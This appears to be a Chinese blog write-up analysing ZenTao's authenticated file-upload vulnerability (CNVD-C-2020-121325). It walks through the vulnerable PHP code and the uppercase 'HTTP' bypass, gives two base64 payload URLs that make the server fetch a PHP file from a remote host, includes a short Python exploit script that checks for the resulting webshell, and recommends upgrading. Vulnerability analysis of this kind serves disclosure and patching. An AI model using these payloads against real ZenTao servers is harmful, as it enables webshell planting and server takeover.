漏洞背景
禅道是第一款国产的开源项目管理软件,其使用zentaophp框架开发,内置了测试管理、计划管理、发布管理、文档管理、事务管理等产品管理和项目管理功能,并为每一个页面提供json接口的api,方便与其它语言调用交互。内置多语言、多风格、搜索功能、统计功能等多种实用功能。
2020年10月14日,禅道官网发布安全公告,禅道开源项目管理软件中存在一个文件上传漏洞(CNVD-C-2020-121325)。攻击者可以通过fopen/fread/fwrite方法结合File、FTP等协议读取或上传任意文件。成功利用此漏洞的攻击者可获得目标系统敏感文件及系统管理权限。
影响版本:
- 禅道开源版12.3.3、12.4.1、12.4.2
- 禅道:禅道开源版<=12.4.2
漏洞只适用于Windows一键安装版(未加安全限制)、Linux一键安装版(未加安全限制)、安装包版。Windows/Linux一键安装版(加入安全限制)由于做过新上传文件限制,无法执行上传后的文件,导致漏洞无法利用。
利用条件:需要后台权限
禅道开源版12.4.2下载地址:https://www.zentao.net/download/zentaopms12.4.2-80263.html
1
| wget https://www.zentao.net/dl/zentao/12.4.2/ZenTaoPMS.12.4.2.zip
|
漏洞分析
环境:
OS:MacOS
PHP:5.4.45
MySQL:5.7.26
将下载好的源码,放到MAMP PRO的hosts的Document目录即可启动环境。
访问 http://zentaopms:8890/www/install.php 即可安装禅道
安装完成后,设置账号密码为弱口令,禅道的安全策略会让用户强制改密码(我改为了Admin@123),这一点很不错。因为这个漏洞发生在后台,如果没办法进后台,就没办法利用。
其他都默认即可。
利用方法一
12.4.2 和 12.4.3 代码对比:
module/client/ext/model/xuanxuan.php
新增代码如下:即对文件名的扩展名进行了校验。
1 2 3
| $file = basename($link); $extension = substr($file, strrpos($file, '.') + 1); if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
|
正常情况下,获取文件名后缀,可以看到,如果是非法后缀,都直接返回txt
/module/file/model.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
public function getExtension($filename) { $extension = trim(strtolower(pathinfo($filename, PATHINFO_EXTENSION))); if(empty($extension) or stripos(",{$this->config->file->dangers},", ",{$extension},") !== false) return 'txt'; if(empty($extension) or stripos(",{$this->config->file->allowed},", ",{$extension},") === false) return 'txt'; if($extension == 'php') return 'txt'; return $extension; }
|
跟进父类downloadZipPackage
方法
/module/client/model.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
|
public function downloadZipPackage($version, $link) { ignore_user_abort(true); set_time_limit(0); if(empty($version) || empty($link)) return false; $dir = "data/client/" . $version . '/'; $link = helper::safe64Decode($link); $file = basename($link); if(!is_dir($this->app->wwwRoot . $dir)) { mkdir($this->app->wwwRoot . $dir, 0755, true); } if(!is_dir($this->app->wwwRoot . $dir)) return false; if(file_exists($this->app->wwwRoot . $dir . $file)) { return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; } ob_clean(); ob_end_flush();
$local = fopen($this->app->wwwRoot . $dir . $file, 'w'); $remote = fopen($link, 'rb'); if($remote === false) return false; while(!feof($remote)) { $buffer = fread($remote, 4096); fwrite($local, $buffer); } fclose($local); fclose($remote); return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; }
|
downloadZipPackage
方法,获取两个参数,version
和 link
,将第一个参数作为路径中的一部分进行拼接(data/client/ . $version . '/'
),第二个参数通过调用safe64Decode
方法进行base64解码
/framework/base/helper.class.php
1 2 3 4
| static public function safe64Decode($string) { return base64_decode(strtr($string, '.', '/')); }
|
该方法同时去除字符串中的.
和/
来避免目录穿越漏洞
最后用fopen
函数打开远程或本地的文件呢。
在module/client/ext/model/xuanxuan.php
中,(漏洞函数)
1 2 3 4 5 6 7
| public function downloadZipPackage($version, $link) { $decodeLink = helper::safe64Decode($link); if(preg_match('/^https?\:\/\//', $decodeLink)) return false;
return parent::downloadZipPackage($version, $link); }
|
该方法获取两个参数,然后对link
参数进行safe64Decode
,再判断是否为https/http
协议,如果不是就返回false
,注意到这里并没有用/i
模式进行匹配,忽略大小写。(故此处存在大小写bypass)如果满足if语句,就调用父类的downloadZipPackage
方法,下载zip
包进行更新。
在/moudle/client/control.php
中的download
方法调用了downloadZipPackage
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
public function download($version = '', $link = '', $os = '') { set_time_limit(0); $result = $this->client->downloadZipPackage($version, $link); if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail)); $client = $this->client->edit($version, $result, $os); if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError)); $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse'))); }
|
我们去找一下下载文件的入口点。对禅道的路由解析分析
/framework/base/router.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
|
public function setRouteByGET() { $moduleName = isset($_GET[$this->config->moduleVar]) ? strtolower($_GET[$this->config->moduleVar]) : $this->config->default->module; $methodName = isset($_GET[$this->config->methodVar]) ? strtolower($_GET[$this->config->methodVar]) : $this->config->default->method; $this->setModuleName($moduleName); $this->setMethodName($methodName); $this->setControlFile(); }
|
以及setFlowURI
方法
从注释中可以知道,如果为download
那么下载的URI则为:
$module-download-1.html
于是构造payload:
1
| http://zentaopms:8890/www/client-download-1-SFRUUDovLzE5Mi4xNjguMjI2LjEyOS9waHBpbmZvLnBocA==-1.html
|
这里我本地环境不知道为什么原因,上传成功后不像网上的文章能够直接得到回显。我就一直认为是没有复现成功。
结果在目录下是上传成功了的。如下图:
访问WebShell:
所以通过代码层面理解了漏洞原理之后,没有回显出地址也一样GetShell,问题不大。
利用方法二
payload:
1
| m=client&f=download&version=233&link=SFRUUDovLzE5Mi4xNjguMjI2LjEyOS9waHBpbmZvLnBocA==
|
利用方法二和方法一的区别就是路由。禅道的两种路由解析方式。
这里看这位师傅的分析文章:
https://www.windylh.com/2020/10/28/CNVD-C-2020-121325%EF%BC%9A%E7%A6%85%E9%81%93%E5%90%8E%E5%8F%B0%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/
漏洞原理
分析完之后,一句话总结漏洞原理。
源码未对远程下载的文件进行拓展名合法性校验,if判断大写绕过,并且上传之后的文件名路径已知,导致GetShell。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| import requests import os import sys
usage = """Usage example: python3 CNVD-C-2020-121325.py -t http://www.target.com -p 1 -rs remoteshell -m 1 result maybe: http://www.target.com/www/data/client/1/phpinfo.php author: m0nk3y """
target = sys.argv[2] version = sys.argv[4] remoteshell = sys.argv[6] mode = sys.argv[8] payload1 = 'www/client-download-{}-{}.html'.format(version, remoteshell) payload2 = 'www/index.php?m=client&f=download&version={}&link={}'.format( version, remoteshell) header = {"Cookie": "zentaosid=6d5fd22002d28df1a2001411a4d4e6d1", "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36 Edg/84.0.522.63"} if mode == 1: target = target + payload1 print(target) r = requests.get(target, headers=header) if mode == 2: target = target + payload2 print(target) r = requests.get(target, headers=header) print(r.text) target = target + "/www/data/client/{}/phpinfo.php".format(version) checker = requests.get(target) if 'phpinfo' in checker.text: print("GetShell [+]!your webshell is:{}".format(target))
|
待完善。
其实感觉这个洞,写脚本每啥意思,因为本来就在后台上的东西,也没办法批量。在满足利用条件的前提下,手动复现也就两三步就GetShell了。
漏洞修复
升级禅道到最新安全版本
AWD中如何修复:参考官方的做法,加一个扩展名检验。
参考链接
https://cert.360.cn/warning/detail?id=ace6901fc02100078ce586ffe53d4cfb
https://co0ontty.github.io/2020/10/27/zentao.html
https://www.windylh.com/2020/10/28/CNVD-C-2020-121325%EF%BC%9A%E7%A6%85%E9%81%93%E5%90%8E%E5%8F%B0%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%A4%8D%E7%8E%B0/
非常推荐:https://www.secpulse.com/archives/149812.html